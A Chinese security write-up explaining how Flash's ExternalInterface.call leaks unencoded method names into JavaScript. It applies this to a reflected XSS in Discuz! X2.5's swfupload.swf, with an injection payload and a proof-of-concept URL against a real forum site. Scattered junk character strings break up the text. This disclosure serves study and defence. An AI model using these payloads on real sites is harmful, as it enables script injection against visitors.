Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
1 ^! S) N, w1 S" D: B
flash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是

  Y& g1 l8 W4 L5 W- Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

2 H- N$ `7 x8 y0 ~& D. Eflash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
6 C6 o" n& X. i+ e2 l5 E结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
& o5 i/ j; M, l6 \
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
$ x4 r. Z$ O2 a7 ]5 s4 t$ n. u
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
- K' S6 V- x1 O* A7 U/ a8 f杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。


, B" B- `5 |* l5 Z8 L
漏洞文件：upload\static\image\common\swfupload.swf

原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf

2 Z9 k& d8 r$ m% ^. Z, u
漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
1 `6 U. Y. \0 Q8 `

0 c; [# W7 R! p9 N- k& T# T3 b